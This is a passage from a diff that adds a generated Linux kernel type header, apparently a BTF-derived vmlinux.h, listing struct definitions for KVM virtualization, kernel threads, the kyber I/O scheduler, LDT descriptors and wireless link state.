sb_flags; + __u32 fs_type; + __u64 mnt_id; + __u64 mnt_parent_id; + __u32 mnt_id_old; + __u32 mnt_parent_id_old; + __u64 mnt_attr; + __u64 mnt_propagation; + __u64 mnt_peer_group; + __u64 mnt_master; + __u64 propagate_from; + __u32 mnt_root; + __u32 mnt_point; + __u64 mnt_ns_id; + __u64 __spare2[49]; + char str[0]; +}; + +struct seq_file { + char *buf; + size_t size; + size_t from; + size_t count; + size_t pad_until; + loff_t index; + loff_t read_pos; + struct mutex lock; + const struct seq_operations *op; + int poll_event; + const struct file *file; + void *private; +}; + +struct kstatmount { + struct statmount __attribute__((btf_type_tag("user"))) *buf; + size_t bufsize; + struct vfsmount *mnt; + u64 mask; + struct path root; + struct statmount sm; + struct seq_file seq; +}; + +struct ktermios { + tcflag_t c_iflag; + tcflag_t c_oflag; + tcflag_t c_cflag; + tcflag_t c_lflag; + cc_t c_line; + cc_t c_cc[19]; + speed_t c_ispeed; + speed_t c_ospeed; +}; + +struct kthread { + unsigned long flags; + unsigned int cpu; + int result; + int (*threadfn)(void *); + void *data; + struct completion parked; + struct completion exited; + struct cgroup_subsys_state *blkcg_css; + char *full_name; +}; + +struct kthread_create_info { + char *full_name; + int (*threadfn)(void *); + void *data; + int node; + struct task_struct *result; + struct completion *done; + struct list_head list; +}; + +struct kthread_delayed_work { + struct kthread_work work; + struct timer_list timer; +}; + +struct kthread_flush_work { + struct kthread_work work; + struct completion done; +}; + +struct kthread_worker { + unsigned int flags; + raw_spinlock_t lock; + struct list_head work_list; + struct list_head delayed_work_list; + struct task_struct *task; + struct kthread_work *current_work; +}; + +struct ktime_timestamps { + u64 mono; + u64 boot; + u64 real; +}; + +struct kvfree_rcu_bulk_data { + struct list_head list; + struct rcu_gp_oldstate gp_snap; + unsigned long nr_records; + void *records[0]; +}; + +struct kvm_memslots { + u64 generation; + atomic_long_t last_used_slot; + struct rb_root_cached hva_tree; + struct rb_root gfn_tree; + struct hlist_head id_hash[128]; + int node_idx; +}; + +struct kvm_vm_stat_generic { + u64 remote_tlb_flush; + u64 remote_tlb_flush_requests; +}; + +struct kvm_vm_stat { + struct kvm_vm_stat_generic generic; + u64 mmu_shadow_zapped; + u64 mmu_pte_write; + u64 mmu_pde_zapped; + u64 mmu_flooded; + u64 mmu_recycled; + u64 mmu_cache_miss; + u64 mmu_unsync; + union { + struct { + atomic64_t pages_4k; + atomic64_t pages_2m; + atomic64_t pages_1g; + }; + atomic64_t pages[3]; + }; + u64 nx_lpage_splits; + u64 max_mmu_page_hash_collisions; + u64 max_mmu_rmap_size; +}; + +struct iommu_domain; + +struct kvm_pic; + +struct kvm_ioapic; + +struct kvm_pit; + +struct kvm_xen_hvm_config { + __u32 flags; + __u32 msr; + __u64 blob_addr_32; + __u64 blob_addr_64; + __u8 blob_size_32; + __u8 blob_size_64; + __u8 pad2[30]; +}; + +struct kvm_mmu_memory_cache { + gfp_t gfp_zero; + gfp_t gfp_custom; + u64 init_value; + struct kmem_cache *kmem_cache; + int capacity; + int nobjs; + void **objects; +}; + +struct kvm_apic_map; + +struct kvm_x86_msr_filter; + +struct kvm_x86_pmu_event_filter; + +struct kvm_arch { + unsigned long n_used_mmu_pages; + unsigned long n_requested_mmu_pages; + unsigned long n_max_mmu_pages; + unsigned int indirect_shadow_pages; + u8 mmu_valid_gen; + u8 vm_type; + bool has_private_mem; + bool has_protected_state; + bool pre_fault_allowed; + struct hlist_head mmu_page_hash[4096]; + struct list_head active_mmu_pages; + struct list_head zapped_obsolete_pages; + struct list_head possible_nx_huge_pages; + spinlock_t mmu_unsync_pages_lock; + u64 shadow_mmio_value; + struct iommu_domain *iommu_domain; + bool iommu_noncoherent; + atomic_t noncoherent_dma_count; + atomic_t assigned_device_count; + struct kvm_pic *vpic; + struct kvm_ioapic *vioapic; + struct kvm_pit *vpit; + atomic_t vapics_in_nmi_mode; + struct mutex apic_map_lock; + struct kvm_apic_map __attribute__((btf_type_tag("rcu"))) *apic_map; + atomic_t apic_map_dirty; + bool apic_access_memslot_enabled; + bool apic_access_memslot_inhibited; + struct rw_semaphore apicv_update_lock; + unsigned long apicv_inhibit_reasons; + gpa_t wall_clock; + bool mwait_in_guest; + bool hlt_in_guest; + bool pause_in_guest; + bool cstate_in_guest; + unsigned long irq_sources_bitmap; + s64 kvmclock_offset; + raw_spinlock_t tsc_write_lock; + u64 last_tsc_nsec; + u64 last_tsc_write; + u32 last_tsc_khz; + u64 last_tsc_offset; + u64 cur_tsc_nsec; + u64 cur_tsc_write; + u64 cur_tsc_offset; + u64 cur_tsc_generation; + int nr_vcpus_matched_tsc; + u32 default_tsc_khz; + bool user_set_tsc; + u64 apic_bus_cycle_ns; + seqcount_raw_spinlock_t pvclock_sc; + bool use_master_clock; + u64 master_kernel_ns; + u64 master_cycle_now; + struct delayed_work kvmclock_update_work; + struct delayed_work kvmclock_sync_work; + struct kvm_xen_hvm_config xen_hvm_config; + struct hlist_head mask_notifier_list; + bool backwards_tsc_observed; + bool boot_vcpu_runs_old_kvmclock; + u32 bsp_vcpu_id; + u64 disabled_quirks; + enum kvm_irqchip_mode irqchip_mode; + u8 nr_reserved_ioapic_pins; + bool disabled_lapic_found; + bool x2apic_format; + bool x2apic_broadcast_quirk_disabled; + bool guest_can_read_msr_platform_info; + bool exception_payload_enabled; + bool triple_fault_event; + bool bus_lock_detection_enabled; + bool enable_pmu; + u32 notify_window; + u32 notify_vmexit_flags; + bool exit_on_emulation_error; + u32 user_space_msr_mask; + struct kvm_x86_msr_filter __attribute__((btf_type_tag("rcu"))) *msr_filter; + u32 hypercall_exit_enabled; + bool sgx_provisioning_allowed; + struct kvm_x86_pmu_event_filter __attribute__((btf_type_tag("rcu"))) *pmu_event_filter; + struct task_struct *nx_huge_page_recovery_thread; + atomic64_t tdp_mmu_pages; + struct list_head tdp_mmu_roots; + spinlock_t tdp_mmu_pages_lock; + bool shadow_root_allocated; + u32 max_vcpu_ids; + bool disable_nx_huge_pages; + struct kvm_mmu_memory_cache split_shadow_page_cache; + struct kvm_mmu_memory_cache split_page_header_cache; + struct kvm_mmu_memory_cache split_desc_cache; +}; + +struct kvm_io_bus; + +struct kvm_stat_data; + +struct kvm { + rwlock_t mmu_lock; + struct mutex slots_lock; + struct mutex slots_arch_lock; + struct mm_struct *mm; + unsigned long nr_memslot_pages; + struct kvm_memslots __memslots[2]; + struct kvm_memslots __attribute__((btf_type_tag("rcu"))) *memslots[1]; + struct xarray vcpu_array; + atomic_t nr_memslots_dirty_logging; + spinlock_t mn_invalidate_lock; + unsigned long mn_active_invalidate_count; + struct rcuwait mn_memslots_update_rcuwait; + spinlock_t gpc_lock; + struct list_head gpc_list; + atomic_t online_vcpus; + int max_vcpus; + int created_vcpus; + int last_boosted_vcpu; + struct list_head vm_list; + struct mutex lock; + struct kvm_io_bus __attribute__((btf_type_tag("rcu"))) *buses[4]; + struct list_head ioeventfds; + struct kvm_vm_stat stat; + struct kvm_arch arch; + refcount_t users_count; + struct mutex irq_lock; + struct list_head devices; + u64 manual_dirty_log_protect; + struct dentry *debugfs_dentry; + struct kvm_stat_data **debugfs_stat_data; + struct srcu_struct srcu; + struct srcu_struct irq_srcu; + pid_t userspace_pid; + bool override_halt_poll_ns; + unsigned int max_halt_poll_ns; + u32 dirty_ring_size; + bool dirty_ring_with_bitmap; + bool vm_bugged; + bool vm_dead; + char stats_id[48]; +}; + +struct kvm_lapic; + +struct kvm_apic_map { + struct callback_head rcu; + enum kvm_apic_logical_mode logical_mode; + u32 max_apic_id; + union { + struct kvm_lapic *xapic_flat_map[8]; + struct kvm_lapic *xapic_cluster_map[64]; + }; + struct kvm_lapic *phys_map[0]; +}; + +struct kvm_rmap_head; + +struct kvm_lpage_info; + +struct kvm_arch_memory_slot { + struct kvm_rmap_head *rmap[3]; + struct kvm_lpage_info *lpage_info[2]; + unsigned short *gfn_write_track; +}; + +union kvm_mmu_page_role { + u32 word; + struct { + unsigned int level: 4; + unsigned int has_4_byte_gpte: 1; + unsigned int quadrant: 2; + unsigned int direct: 1; + unsigned int access: 3; + unsigned int invalid: 1; + unsigned int efer_nx: 1; + unsigned int cr0_wp: 1; + unsigned int smep_andnot_wp: 1; + unsigned int smap_andnot_wp: 1; + unsigned int ad_disabled: 1; + unsigned int guest_mode: 1; + unsigned int passthrough: 1; + char: 5; + unsigned int smm: 8; + }; +}; + +union kvm_mmu_extended_role { + u32 word; + struct { + unsigned int valid: 1; + unsigned int execonly: 1; + unsigned int cr4_pse: 1; + unsigned int cr4_pke: 1; + unsigned int cr4_smap: 1; + unsigned int cr4_smep: 1; + unsigned int cr4_la57: 1; + unsigned int efer_lma: 1; + }; +}; + +union kvm_cpu_role { + u64 as_u64; + struct { + union kvm_mmu_page_role base; + union kvm_mmu_extended_role ext; + }; +}; + +struct kvm_cpuid_entry2 { + __u32 function; + __u32 index; + __u32 flags; + __u32 eax; + __u32 ebx; + __u32 ecx; + __u32 edx; + __u32 padding[3]; +}; + +struct kvm_debug_exit_arch { + __u32 exception; + __u32 pad; + __u64 pc; + __u64 dr6; + __u64 dr7; +}; + +struct kvm_dirty_gfn { + __u32 flags; + __u32 slot; + __u64 offset; +}; + +struct kvm_dirty_ring { + u32 dirty_index; + u32 reset_index; + u32 size; + u32 soft_limit; + struct kvm_dirty_gfn *dirty_gfns; + int index; +}; + +struct kvm_dtable { + __u64 base; + __u16 limit; + __u16 padding[3]; +}; + +struct kvm_hyperv_exit { + __u32 type; + __u32 pad1; + union { + struct { + __u32 msr; + __u32 pad2; + __u64 control; + __u64 evt_page; + __u64 msg_page; + } synic; + struct { + __u64 input; + __u64 result; + __u64 params[2]; + } hcall; + struct { + __u32 msr; + __u32 pad2; + __u64 control; + __u64 status; + __u64 send_page; + __u64 recv_page; + __u64 pending_page; + } syndbg; + } u; +}; + +struct kvm_hypervisor_cpuid { + u32 base; + u32 limit; +}; + +struct kvm_io_device; + +struct kvm_io_range { + gpa_t addr; + int len; + struct kvm_io_device *dev; +}; + +struct kvm_io_bus { + int dev_count; + int ioeventfd_count; + struct kvm_io_range range[0]; +}; + +struct kvm_lpage_info { + int disallow_lpage; +}; + +struct kvm_memory_slot { + struct hlist_node id_node[2]; + struct interval_tree_node hva_node[2]; + struct rb_node gfn_node[2]; + gfn_t base_gfn; + unsigned long npages; + unsigned long *dirty_bitmap; + struct kvm_arch_memory_slot arch; + unsigned long userspace_addr; + u32 flags; + short id; + u16 as_id; +}; + +struct kvm_mmio_fragment { + gpa_t gpa; + void *data; + unsigned int len; +}; + +struct kvm_page_fault; + +struct x86_exception; + +struct kvm_mmu_page; + +struct kvm_mmu_root_info { + gpa_t pgd; + hpa_t hpa; +}; + +struct rsvd_bits_validate { + u64 rsvd_bits_mask[10]; + u64 bad_mt_xwr; +}; + +struct kvm_vcpu; + +struct kvm_mmu { + unsigned long (*get_guest_pgd)(struct kvm_vcpu *); + u64 (*get_pdptr)(struct kvm_vcpu *, int); + int (*page_fault)(struct kvm_vcpu *, struct kvm_page_fault *); + void (*inject_page_fault)(struct kvm_vcpu *, struct x86_exception *); + gpa_t (*gva_to_gpa)(struct kvm_vcpu *, struct kvm_mmu *, gpa_t, u64, struct x86_exception *); + int (*sync_spte)(struct kvm_vcpu *, struct kvm_mmu_page *, int); + struct kvm_mmu_root_info root; + union kvm_cpu_role cpu_role; + union kvm_mmu_page_role root_role; + u32 pkru_mask; + struct kvm_mmu_root_info prev_roots[3]; + u8 permissions[16]; + u64 *pae_root; + u64 *pml4_root; + u64 *pml5_root; + struct rsvd_bits_validate shadow_zero_check; + struct rsvd_bits_validate guest_rsvd_check; + u64 pdptrs[4]; +}; + +struct kvm_mtrr { + u64 var[16]; + u64 fixed_64k; + u64 fixed_16k[2]; + u64 fixed_4k[8]; + u64 deftype; +}; + +struct kvm_pio_request { + unsigned long linear_rip; + unsigned long count; + int in; + int port; + int size; +}; + +struct kvm_pmc { + enum pmc_type type; + u8 idx; + bool is_paused; + bool intr; + u64 counter; + u64 emulated_counter; + u64 eventsel; + struct perf_event *perf_event; + struct kvm_vcpu *vcpu; + u64 current_config; +}; + +struct kvm_pmu { + u8 version; + unsigned int nr_arch_gp_counters; + unsigned int nr_arch_fixed_counters; + unsigned int available_event_types; + u64 fixed_ctr_ctrl; + u64 fixed_ctr_ctrl_rsvd; + u64 global_ctrl; + u64 global_status; + u64 counter_bitmask[2]; + u64 global_ctrl_rsvd; + u64 global_status_rsvd; + u64 reserved_bits; + u64 raw_event_mask; + struct kvm_pmc gp_counters[8]; + struct kvm_pmc fixed_counters[3]; + union { + unsigned long reprogram_pmi[1]; + atomic64_t __reprogram_pmi; + }; + unsigned long all_valid_pmc_idx[1]; + unsigned long pmc_in_use[1]; + u64 ds_area; + u64 pebs_enable; + u64 pebs_enable_rsvd; + u64 pebs_data_cfg; + u64 pebs_data_cfg_rsvd; + u64 host_cross_mapped_mask; + bool need_cleanup; + u8 event_count; +}; + +struct kvm_queued_exception { + bool pending; + bool injected; + bool has_error_code; + u8 vector; + u32 error_code; + unsigned long payload; + bool has_payload; +}; + +struct kvm_queued_interrupt { + bool injected; + bool soft; + u8 nr; +}; + +struct kvm_regs { + __u64 rax; + __u64 rbx; + __u64 rcx; + __u64 rdx; + __u64 rsi; + __u64 rdi; + __u64 rsp; + __u64 rbp; + __u64 r8; + __u64 r9; + __u64 r10; + __u64 r11; + __u64 r12; + __u64 r13; + __u64 r14; + __u64 r15; + __u64 rip; + __u64 rflags; +}; + +struct kvm_rmap_head { + unsigned long val; +}; + +struct kvm_xen_exit { + __u32 type; + union { + struct { + __u32 longmode; + __u32 cpl; + __u64 input; + __u64 result; + __u64 params[6]; + } hcall; + } u; +}; + +struct kvm_segment { + __u64 base; + __u32 limit; + __u16 selector; + __u8 type; + __u8 present; + __u8 dpl; + __u8 db; + __u8 s; + __u8 l; + __u8 g; + __u8 avl; + __u8 unusable; + __u8 padding; +}; + +struct kvm_sregs { + struct kvm_segment cs; + struct kvm_segment ds; + struct kvm_segment es; + struct kvm_segment fs; + struct kvm_segment gs; + struct kvm_segment ss; + struct kvm_segment tr; + struct kvm_segment ldt; + struct kvm_dtable gdt; + struct kvm_dtable idt; + __u64 cr0; + __u64 cr2; + __u64 cr3; + __u64 cr4; + __u64 cr8; + __u64 efer; + __u64 apic_base; + __u64 interrupt_bitmap[4]; +}; + +struct kvm_vcpu_events { + struct { + __u8 injected; + __u8 nr; + __u8 has_error_code; + __u8 pending; + __u32 error_code; + } exception; + struct { + __u8 injected; + __u8 nr; + __u8 soft; + __u8 shadow; + } interrupt; + struct { + __u8 injected; + __u8 pending; + __u8 masked; + __u8 pad; + } nmi; + __u32 sipi_vector; + __u32 flags; + struct { + __u8 smm; + __u8 pending; + __u8 smm_inside_nmi; + __u8 latched_init; + } smi; + struct { + __u8 pending; + } triple_fault; + __u8 reserved[26]; + __u8 exception_has_payload; + __u64 exception_payload; +}; + +struct kvm_sync_regs { + struct kvm_regs regs; + struct kvm_sregs sregs; + struct kvm_vcpu_events events; +}; + +struct kvm_run { + __u8 request_interrupt_window; + __u8 immediate_exit__unsafe; + __u8 padding1[6]; + __u32 exit_reason; + __u8 ready_for_interrupt_injection; + __u8 if_flag; + __u16 flags; + __u64 cr8; + __u64 apic_base; + union { + struct { + __u64 hardware_exit_reason; + } hw; + struct { + __u64 hardware_entry_failure_reason; + __u32 cpu; + } fail_entry; + struct { + __u32 exception; + __u32 error_code; + } ex; + struct { + __u8 direction; + __u8 size; + __u16 port; + __u32 count; + __u64 data_offset; + } io; + struct { + struct kvm_debug_exit_arch arch; + } debug; + struct { + __u64 phys_addr; + __u8 data[8]; + __u32 len; + __u8 is_write; + } mmio; + struct { + __u64 phys_addr; + __u8 data[8]; + __u32 len; + __u8 is_write; + } iocsr_io; + struct { + __u64 nr; + __u64 args[6]; + __u64 ret; + union { + __u64 flags; + }; + } hypercall; + struct { + __u64 rip; + __u32 is_write; + __u32 pad; + } tpr_access; + struct { + __u8 icptcode; + __u16 ipa; + __u32 ipb; + } s390_sieic; + __u64 s390_reset_flags; + struct { + __u64 trans_exc_code; + __u32 pgm_code; + } s390_ucontrol; + struct { + __u32 dcrn; + __u32 data; + __u8 is_write; + } dcr; + struct { + __u32 suberror; + __u32 ndata; + __u64 data[16]; + } internal; + struct { + __u32 suberror; + __u32 ndata; + __u64 flags; + union { + struct { + __u8 insn_size; + __u8 insn_bytes[15]; + }; + }; + } emulation_failure; + struct { + __u64 gprs[32]; + } osi; + struct { + __u64 nr; + __u64 ret; + __u64 args[9]; + } papr_hcall; + struct { + __u16 subchannel_id; + __u16 subchannel_nr; + __u32 io_int_parm; + __u32 io_int_word; + __u32 ipb; + __u8 dequeued; + } s390_tsch; + struct { + __u32 epr; + } epr; + struct { + __u32 type; + __u32 ndata; + union { + __u64 data[16]; + }; + } system_event; + struct { + __u64 addr; + __u8 ar; + __u8 reserved; + __u8 fc; + __u8 sel1; + __u16 sel2; + } s390_stsi; + struct { + __u8 vector; + } eoi; + struct kvm_hyperv_exit hyperv; + struct { + __u64 esr_iss; + __u64 fault_ipa; + } arm_nisv; + struct { + __u8 error; + __u8 pad[7]; + __u32 reason; + __u32 index; + __u64 data; + } msr; + struct kvm_xen_exit xen; + struct { + unsigned long extension_id; + unsigned long function_id; + unsigned long args[6]; + unsigned long ret[2]; + } riscv_sbi; + struct { + unsigned long csr_num; + unsigned long new_value; + unsigned long write_mask; + unsigned long ret_value; + } riscv_csr; + struct { + __u32 flags; + } notify; + struct { + __u64 flags; + __u64 gpa; + __u64 size; + } memory_fault; + char padding[256]; + }; + __u64 kvm_valid_regs; + __u64 kvm_dirty_regs; + union { + struct kvm_sync_regs regs; + char padding[2048]; + } s; +}; + +struct kvm_stat_data { + struct kvm *kvm; + const struct _kvm_stats_desc *desc; + enum kvm_stat_kind kind; +}; + +struct x86_emulate_ctxt; + +struct pvclock_vcpu_time_info { + u32 version; + u32 pad0; + u64 tsc_timestamp; + u64 system_time; + u32 tsc_to_system_mul; + s8 tsc_shift; + u8 flags; + u8 pad[2]; +}; + +struct kvm_vcpu_arch { + unsigned long regs[17]; + u32 regs_avail; + u32 regs_dirty; + unsigned long cr0; + unsigned long cr0_guest_owned_bits; + unsigned long cr2; + unsigned long cr3; + unsigned long cr4; + unsigned long cr4_guest_owned_bits; + unsigned long cr4_guest_rsvd_bits; + unsigned long cr8; + u32 host_pkru; + u32 pkru; + u32 hflags; + u64 efer; + u64 apic_base; + struct kvm_lapic *apic; + bool load_eoi_exitmap_pending; + unsigned long ioapic_handled_vectors[4]; + unsigned long apic_attention; + int32_t apic_arb_prio; + int mp_state; + u64 ia32_misc_enable_msr; + u64 smbase; + u64 smi_count; + bool at_instruction_boundary; + bool tpr_access_reporting; + bool xfd_no_write_intercept; + u64 ia32_xss; + u64 microcode_version; + u64 arch_capabilities; + u64 perf_capabilities; + struct kvm_mmu *mmu; + struct kvm_mmu root_mmu; + struct kvm_mmu guest_mmu; + struct kvm_mmu nested_mmu; + struct kvm_mmu *walk_mmu; + struct kvm_mmu_memory_cache mmu_pte_list_desc_cache; + struct kvm_mmu_memory_cache mmu_shadow_page_cache; + struct kvm_mmu_memory_cache mmu_shadowed_info_cache; + struct kvm_mmu_memory_cache mmu_page_header_cache; + struct fpu_guest guest_fpu; + u64 xcr0; + u64 guest_supported_xcr0; + struct kvm_pio_request pio; + void *pio_data; + void *sev_pio_data; + unsigned int sev_pio_count; + u8 event_exit_inst_len; + bool exception_from_userspace; + struct kvm_queued_exception exception; + struct kvm_queued_exception exception_vmexit; + struct kvm_queued_interrupt interrupt; + int halt_request; + int cpuid_nent; + struct kvm_cpuid_entry2 *cpuid_entries; + struct kvm_hypervisor_cpuid kvm_cpuid; + bool is_amd_compatible; + struct { + unsigned long enabled[1]; + } governed_features; + u64 reserved_gpa_bits; + int maxphyaddr; + struct x86_emulate_ctxt *emulate_ctxt; + bool emulate_regs_need_sync_to_vcpu; + bool emulate_regs_need_sync_from_vcpu; + int (*complete_userspace_io)(struct kvm_vcpu *); + gpa_t time; + struct pvclock_vcpu_time_info hv_clock; + unsigned int hw_tsc_khz; + struct gfn_to_pfn_cache pv_time; + bool pvclock_set_guest_stopped_request; + struct { + u8 preempted; + u64 msr_val; + u64 last_steal; + struct gfn_to_hva_cache cache; + } st; + u64 l1_tsc_offset; + u64 tsc_offset; + u64 last_guest_tsc; + u64 last_host_tsc; + u64 tsc_offset_adjustment; + u64 this_tsc_nsec; + u64 this_tsc_write; + u64 this_tsc_generation; + bool tsc_catchup; + bool tsc_always_catchup; + s8 virtual_tsc_shift; + u32 virtual_tsc_mult; + u32 virtual_tsc_khz; + s64 ia32_tsc_adjust_msr; + u64 msr_ia32_power_ctl; + u64 l1_tsc_scaling_ratio; + u64 tsc_scaling_ratio; + atomic_t nmi_queued; + unsigned int nmi_pending; + bool nmi_injected; + bool smi_pending; + u8 handling_intr_from_guest; + struct kvm_mtrr mtrr_state; + u64 pat; + unsigned int switch_db_regs; + unsigned long db[4]; + unsigned long dr6; + unsigned long dr7; + unsigned long eff_db[4]; + unsigned long guest_debug_dr7; + u64 msr_platform_info; + u64 msr_misc_features_enables; + u64 mcg_cap; + u64 mcg_status; + u64 mcg_ctl; + u64 mcg_ext_ctl; + u64 *mce_banks; + u64 *mci_ctl2_banks; + u64 mmio_gva; + unsigned int mmio_access; + gfn_t mmio_gfn; + u64 mmio_gen; + struct kvm_pmu pmu; + unsigned long singlestep_rip; + cpumask_var_t wbinvd_dirty_mask; + unsigned long last_retry_eip; + unsigned long last_retry_addr; + struct { + bool halted; + gfn_t gfns[64]; + struct gfn_to_hva_cache data; + u64 msr_en_val; + u64 msr_int_val; + u16 vec; + u32 id; + bool send_user_only; + u32 host_apf_flags; + bool delivery_as_pf_vmexit; + bool pageready_pending; + } apf; + struct { + u64 length; + u64 status; + } osvw; + struct { + u64 msr_val; + struct gfn_to_hva_cache data; + } pv_eoi; + u64 msr_kvm_poll_control; + struct { + bool pv_unhalted; + } pv; + int pending_ioapic_eoi; + int pending_external_vector; + bool preempted_in_kernel; + bool l1tf_flush_l1d; + int last_vmentry_cpu; + u64 msr_hwcr; + struct { + u32 features; + bool enforce; + } pv_cpuid; + bool guest_state_protected; + bool pdptrs_from_userspace; +}; + +struct kvm_vcpu_stat_generic { + u64 halt_successful_poll; + u64 halt_attempted_poll; + u64 halt_poll_invalid; + u64 halt_wakeup; + u64 halt_poll_success_ns; + u64 halt_poll_fail_ns; + u64 halt_wait_ns; + u64 halt_poll_success_hist[32]; + u64 halt_poll_fail_hist[32]; + u64 halt_wait_hist[32]; + u64 blocking; +}; + +struct kvm_vcpu_stat { + struct kvm_vcpu_stat_generic generic; + u64 pf_taken; + u64 pf_fixed; + u64 pf_emulate; + u64 pf_spurious; + u64 pf_fast; + u64 pf_mmio_spte_created; + u64 pf_guest; + u64 tlb_flush; + u64 invlpg; + u64 exits; + u64 io_exits; + u64 mmio_exits; + u64 signal_exits; + u64 irq_window_exits; + u64 nmi_window_exits; + u64 l1d_flush; + u64 halt_exits; + u64 request_irq_exits; + u64 irq_exits; + u64 host_state_reload; + u64 fpu_reload; + u64 insn_emulation; + u64 insn_emulation_fail; + u64 hypercalls; + u64 irq_injections; + u64 nmi_injections; + u64 req_event; + u64 nested_run; + u64 directed_yield_attempted; + u64 directed_yield_successful; + u64 preemption_reported; + u64 preemption_other; + u64 guest_mode; + u64 notify_window_exits; +}; + +struct kvm_vcpu { + struct kvm *kvm; + int cpu; + int vcpu_id; + int vcpu_idx; + int ____srcu_idx; + int srcu_depth; + int mode; + u64 requests; + unsigned long guest_debug; + struct mutex mutex; + struct kvm_run *run; + struct rcuwait wait; + struct pid __attribute__((btf_type_tag("rcu"))) *pid; + int sigset_active; + sigset_t sigset; + unsigned int halt_poll_ns; + bool valid_wakeup; + int mmio_needed; + int mmio_read_completed; + int mmio_is_write; + int mmio_cur_fragment; + int mmio_nr_fragments; + struct kvm_mmio_fragment mmio_fragments[2]; + bool wants_to_run; + bool preempted; + bool ready; + bool scheduled_out; + struct kvm_vcpu_arch arch; + struct kvm_vcpu_stat stat; + char stats_id[48]; + struct kvm_dirty_ring dirty_ring; + struct kvm_memory_slot *last_used_slot; + u64 last_used_slot_gen; +}; + +struct msr_bitmap_range { + u32 flags; + u32 nmsrs; + u32 base; + unsigned long *bitmap; +}; + +struct kvm_x86_msr_filter { + u8 count; + bool default_allow: 1; + struct msr_bitmap_range ranges[16]; +}; + +struct kvm_x86_pmu_event_filter { + __u32 action; + __u32 nevents; + __u32 fixed_counter_bitmap; + __u32 flags; + __u32 nr_includes; + __u32 nr_excludes; + __u64 *includes; + __u64 *excludes; + __u64 events[0]; +}; + +struct kyber_cpu_latency { + atomic_t buckets[48]; +}; + +struct kyber_ctx_queue { + spinlock_t lock; + struct list_head rq_list[4]; +}; + +struct sbq_wait { + struct sbitmap_queue *sbq; + struct wait_queue_entry wait; +}; + +struct kyber_hctx_data { + spinlock_t lock; + struct list_head rqs[4]; + unsigned int cur_domain; + unsigned int batching; + struct kyber_ctx_queue *kcqs; + struct sbitmap kcq_map[4]; + struct sbq_wait domain_wait[4]; + struct sbq_wait_state *domain_ws[4]; + atomic_t wait_index[4]; +}; + +struct kyber_queue_data { + struct request_queue *q; + dev_t dev; + struct sbitmap_queue domain_tokens[4]; + unsigned int async_depth; + struct kyber_cpu_latency __attribute__((btf_type_tag("percpu"))) *cpu_latency; + struct timer_list timer; + unsigned int latency_buckets[48]; + unsigned long latency_timeout[3]; + int domain_p99[3]; + u64 latency_targets[3]; +}; + +union l1_cache { + struct { + unsigned int line_size: 8; + unsigned int lines_per_tag: 8; + unsigned int assoc: 8; + unsigned int size_in_kb: 8; + }; + unsigned int val; +}; + +union l2_cache { + struct { + unsigned int line_size: 8; + unsigned int lines_per_tag: 4; + unsigned int assoc: 4; + unsigned int size_in_kb: 16; + }; + unsigned int val; +}; + +union l3_cache { + struct { + unsigned int line_size: 8; + unsigned int lines_per_tag: 4; + unsigned int assoc: 4; + unsigned int res: 2; + unsigned int size_encoded: 14; + }; + unsigned int val; +}; + +struct latch_tree_ops { + bool (*less)(struct latch_tree_node *, struct latch_tree_node *); + int (*comp)(void *, struct latch_tree_node *); +}; + +struct latch_tree_root { + seqcount_latch_t seq; + struct rb_root tree[2]; +}; + +struct latched_seq { + seqcount_latch_t latch; + u64 val[2]; +}; + +struct sched_domain; + +struct lb_env { + struct sched_domain *sd; + struct rq *src_rq; + int src_cpu; + int dst_cpu; + struct rq *dst_rq; + struct cpumask *dst_grpmask; + int new_dst_cpu; + enum cpu_idle_type idle; + long imbalance; + struct cpumask *cpus; + unsigned int flags; + unsigned int loop; + unsigned int loop_break; + unsigned int loop_max; + enum fbq_type fbq_type; + enum migration_type migration_type; + struct list_head tasks; +}; + +struct ld_semaphore { + atomic_long_t count; + raw_spinlock_t wait_lock; + unsigned int wait_readers; + struct list_head read_wait; + struct list_head write_wait; + struct lockdep_map dep_map; +}; + +struct ldsem_waiter { + struct list_head list; + struct task_struct *task; +}; + +struct ldt_struct { + struct desc_struct *entries; + unsigned int nr_entries; + int slot; +}; + +struct ldttss_desc { + u16 limit0; + u16 base0; + u16 base1: 8; + u16 type: 5; + u16 dpl: 2; + u16 p: 1; + u16 limit1: 4; + u16 zero0: 3; + u16 g: 1; + u16 base2: 8; + u32 base3; + u32 zero1; +}; + +typedef struct ldttss_desc ldt_desc; + +typedef struct ldttss_desc tss_desc; + +struct lease_manager_operations { + bool (*lm_break)(struct file_lease *); + int (*lm_change)(struct file_lease *, int, struct list_head *); + void (*lm_setup)(struct file_lease *, void **); + bool (*lm_breaker_owns_lease)(struct file_lease *); +}; + +struct led_trigger {}; + +struct legacy_fs_context { + char *legacy_data; + size_t data_size; + enum legacy_fs_param param_type; +}; + +struct legacy_pic { + int nr_legacy_irqs; + struct irq_chip *chip; + void (*mask)(unsigned int); + void (*unmask)(unsigned int); + void (*mask_all)(void); + void (*restore_mask)(void); + void (*init)(int); + int (*probe)(void); + int (*irq_pending)(unsigned int); + void (*make_irq)(unsigned int); +}; + +struct limit_names { + const char *name; + const char *unit; +}; + +struct linear_c { + struct dm_dev *dev; + sector_t start; +}; + +struct linger { + int l_onoff; + int l_linger; +}; + +struct link_qual { + int rssi; + int false_cca; + u8 vgc_level; + u8 vgc_level_reg; + int rx_success; + int rx_failed; + int tx_success; + int tx_failed; +}; + +struct link_ant { + unsigned int flags; + struct antenna_setup active; + int rssi_history; + struct ewma_rssi rssi_ant; +}; + +struct link { + u32 count; + struct link_qual qual; + struct link_ant ant; + struct ewma_rssi avg_rssi; + struct delayed_work work; + struct delayed_work watchdog_work; + unsigned int watchdog_interval; + unsigned int watchdog; +}; + +struct link_container { + struct ieee80211_link_data data; + struct ieee80211_bss_conf conf; +}; + +struct link_mode_info { + int speed; + u8 lanes; + u8 duplex; +}; + +struct link_sta_info { + u8 addr[6]; + u8 link_id; + u8 op_mode_nss; + u8 capa_nss; + struct rhlist_head link_hash_node; + struct sta_info *sta; + struct ieee80211_key __attribute__((btf_type_tag("rcu"))) *gtk[8]; + struct ieee80211_sta_rx_stats __attribute__((btf_type_tag("percpu"))) *pcpu_rx_stats; + struct ieee80211_sta_rx_stats rx_stats; + struct { + struct ewma_signal signal; + struct ewma_signal chain_signal[4]; + } rx_stats_avg; + struct { + unsigned long filtered; + unsigned long retry_failed; + unsigned long retry_count; + unsigned int lost_packets; + unsigned long last_pkt_time; + u64 msdu_retries[17]; + u64 msdu_failed[17]; + unsigned long last_ack; + s8 last_ack_signal; + bool ack_signal_filled; + struct ewma_avg_signal avg_ack_signal; + } status_stats; + struct { + u64 packets[4]; + u64 bytes[4]; + struct ieee80211_tx_rate last_rate; + struct 